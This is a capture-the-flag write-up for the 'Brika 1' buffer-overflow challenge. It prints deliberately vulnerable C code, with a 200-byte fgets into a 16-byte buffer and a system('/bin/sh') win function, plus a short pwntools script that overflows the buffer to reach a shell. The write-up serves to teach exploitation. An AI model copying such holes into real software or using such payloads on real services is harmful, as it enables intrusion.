Post

Ramadan CTF 2026 - Brika 1

Ramadan CTF 2026 - Brika 1

[ Brika 1 ] Writeup

Category: Pwn (Buffer Overflow)
Difficulty: Easy
Author: Nerdicon

challenge

Access all challenges here:
GitHub Repository

Tools Used

  • gdb / ghidra ( for dedbugging and disassembling )
  • python3 (pwntools) for exploit scripting

Overview

“Brika mt3 chkoun?” – “Whose brika is this?” A beginner-friendly buffer overflow challenge themed around Ramadan’s beloved brika (a stuffed pastry). The program refuses to serve brika with “kabar” (capers) in it. Our job is to overflow the name buffer to corrupt the brika ingredients and remove the kabar.


File and checksec

checksec and file

Source Code Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Compiled with: gcc -o main -fno-stack-protector main.c

enum {
    malso9a = 0x6d,   // 'm'
    adham   = 0x61,   // 'a'
    thon    = 0x74,   // 't'
    kabar   = 0x6b,   // 'k'
    ijbn    = 0x69,   // 'i'
};

void win() {
    system("/bin/sh");
}

void make_brika() {
    char brika[4] = {malso9a, adham, thon, kabar};  // "matk"
    char name[16];

    printf("Brika mt3 chkoun? ");
    fgets(name, 200, stdin);    // reads 200 bytes into 16-byte buffer!

    for (int i = 0; i < 4; i++) {
        if (brika[i] == kabar) {     // if any ingredient is kabar (0x6b)
            printf("mn7ibch kabar!\n");
            exit(1);                  // rejected!
        }
    }
}

int main() {
    // prints ingredient list
    make_brika();
    puts("mmm Mala Benna Ya Latif!\n");
    win();    // if make_brika returns normally, we get a shell!
    return 0;
}

The flow is simple:

  1. brika[4] is initialized with {0x6d, 0x61, 0x74, 0x6b} – the last byte is kabar (0x6b).
  2. fgets(name, 200, stdin) reads up to 200 bytes into a 16-byte buffer. Massive overflow!
  3. A loop checks if any brika element equals kabar. If found, it calls exit(1).
  4. If the check passes (no kabar found), make_brika returns, and main calls win() which gives us a shell.

The key insight: on the stack, name sits before brika. Overflowing name overwrites brika.

Tip: Stack variables declared in order don’t always appear in that order in memory. Use GDB or look at the disassembly to confirm the actual layout. Here, brika is at a higher address than name.


Exploitation

The stack layout (approximate):

1
[name: 16 bytes][padding][brika: 4 bytes]

We need to overflow name until we overwrite brika with values that are not 0x6b. Since fgets is reading 200 bytes, we can easily reach brika.

Sending 32 A characters (0x41) will overflow through name, across any padding and saved registers, and into brika, replacing all four bytes with 0x41. Since 0x41 != 0x6b, the check passes and we reach win().


Solution

1
2
3
4
5
6
7
8
from pwn import *

#p = process("./main")
p = remote("localhost", 6666)

p.sendline(32 * b"A")

p.interactive()

That’s it. One line of payload. Beautifully simple.

flag


Key Takeaways

  • Buffer overflows can corrupt adjacent variables, not just return addresses. Sometimes you just need to change a value to bypass a check.
  • fgets(buf, 200, stdin) with a 16-byte buffer is a textbook overflow – it reads way more than the buffer can hold.
  • -fno-stack-protector means no canary – overflows go undetected.
  • Always look at what happens after the vulnerable function returns. Here, win() is called in main() if make_brika() returns normally.

Helpful Resources

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.